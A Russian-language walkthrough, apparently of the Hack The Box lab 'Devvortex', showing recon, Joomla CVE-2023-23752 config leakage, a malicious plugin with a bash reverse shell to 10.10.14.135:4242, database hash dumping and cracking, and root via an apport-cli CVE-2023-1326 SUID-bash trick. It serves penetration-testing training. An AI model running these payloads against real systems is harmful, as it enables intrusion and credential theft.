Telegram

Смотри на t.me/kiberdruzhinnik/69.

Обзор сервисов

Проведем стандартное сканирование портов машины 10.10.11.242 с помощью rustscan:

$ ~/apps/bin/rustscan --ulimit=5000 --range=1-65535 -a 10.10.11.242 -- -A -sC
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.242:22
Open 10.10.11.242:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.10.11.242
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-25 14:01 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
Initiating Ping Scan at 14:01
Scanning 10.10.11.242 [2 ports]
Completed Ping Scan at 14:01, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:01
Completed Parallel DNS resolution of 1 host. at 14:01, 1.12s elapsed
DNS resolution of 1 IPs took 1.12s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 14:01
Scanning 10.10.11.242 [2 ports]
Discovered open port 80/tcp on 10.10.11.242
Discovered open port 22/tcp on 10.10.11.242
Completed Connect Scan at 14:01, 0.05s elapsed (2 total ports)
Initiating Service scan at 14:01
Scanning 2 services on 10.10.11.242
Completed Service scan at 14:01, 6.12s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.242.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 1.98s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.22s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
Nmap scan report for 10.10.11.242
Host is up, received syn-ack (0.053s latency).
Scanned at 2023-11-25 14:01:11 EST for 9s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.80 seconds

Находим типичные для Linux-машин порты.

Веб

Как обычно веб-сервис имеет доменное имя.

Alt text

Добавим его в /etc/hosts:

$ sudo nano /etc/hosts
10.10.11.242 devvortex.htb

Alt text

Поищем интересные поддомены:

$ gobuster vhost -u http://devvortex.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://devvortex.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.devvortex.htb Status: 200 [Size: 23221]
...

Добавим найденный домен аналогично предыдущему.

Alt text

И сразу же поищем интересные каталоги.

gobuster dir -u http://dev.devvortex.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt

Находим админку по адресу http://dev.devvortex.htb/administrator/.

Alt text

Узнаем, что это Joomla, а также можем проверить версию с помощью http://dev.devvortex.htb/README.txt.

Сразу же находим узявимость CVE-2023-23752.

$ curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true
{"links":{"self":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"Development","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes"* Connection #0 to host dev.devvortex.htb left intact
:{"list_limit":20,"id":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"***","id":224}},{"type":"application","id":"224","attributes":{"password":"***","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"sd4fg_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}

Отсюда находим логин и пароль, который прекрасно подходит для админки.

Alt text

У нас админский доступ, поэтому можем создать свой плагин с реверс-шеллом. Создадим файлы и запакуем их в zip.

Файл shell.xml:

<?xml version="1.0" encoding="utf-8"?>
<extension version="4.0" type="plugin" group="content">
 <name>plg_content_shell</name>
 <author>1</author>
 <creationDate>December 28, 2021</creationDate>
 <copyright>Free</copyright>
 <authorEmail>[email protected]</authorEmail>
 <authorUrl>http://1.com</authorUrl>
 <version>1.0</version>
 <description>shell</description>
 <files>
  <filename plugin="shell">shell.php</filename>
  <filename>index.html</filename>
 </files>
</extension>

Файл shell.php:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.135/4242 0>&1'");
defined('_JEXEC') or die;
class plgContentRevShell extends JPlugin
{
  public function onContentAfterTitle($context, &$article, &$params, $limitstart)
    {
      return "<p>Boom!</p>";
    }
}
?>
touch index.html
zip shell.zip *

Теперь установим получившееся расширение.

Alt text

Не забываем его включить и поймать шелл.

Alt text

Alt text

В сетевых подключениях видим две базы данных - на 3306 и на 33060. Из базы 3306 не вытаскиваем ничего интересного, зато в 33060 обнаруживаем валидный хеш пользователя logan.

$ mysql -u lewis -p'***' -P 33060 -e "SHOW DATABASES;"
Database
information_schema
joomla
performance_schema
$ mysql -u lewis -p'***' -P 33060 -e "SHOW TABLES;" joomla
Tables_in_joomla
...
sd4fg_users
...
$ mysql -u lewis -p'***' -P 33060 -e "SELECT * FROM sd4fg_users;" joomla
id      name    username        email   password        block   sendEmail       registerDate    lastvisitDate   activation      params    lastResetTime   resetCount      otpKey  otep    requireReset    authProvider
649     lewis   lewis   [email protected]     $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u    0       1       2023-09-25 16:44:24       2023-11-25 19:54:58     0               NULL    0                       0
650     logan paul      logan   [email protected]     ***    0       02023-09-26 19:15:42      NULL            {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"}   NULL    0                       0

Далее просто брутим его, получаем пароль для SSH и соединяемся.

hashcat -a 0 -m 3200 hash.txt rockyou.txt

Флаг пользователя

Alt text

Повышение привилегий

Проверим, что у нас по правам суперпользователя:

logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

Теперь проверим версию приложения:

$ logan@devvortex:~$ sudo /usr/bin/apport-cli --version
2.20.11

И сразу обнаруживаем CVE-2023-1326. Нам нужно создать crash-репорт, возьмем любой пакет (в моем случае wget). После создания репорта прочитаем его с помощью уязвимой утилиты, скопируем bash и дадим ему SUID-права.

$ sudo apport-cli -f --package=wget --save=/var/crash/test.crash

*** Collecting problem information

The collected information can be sent to the developers to improve the
application. This might take a few minutes.
..........................
$ sudo apport-cli -c /var/crash/test.crash
> v
> !cp /bin/bash /tmp/b
> v
> !chmod +s /tmp/b
$ /tmp/b -p

Alt text

Флаг суперпользователя

Alt text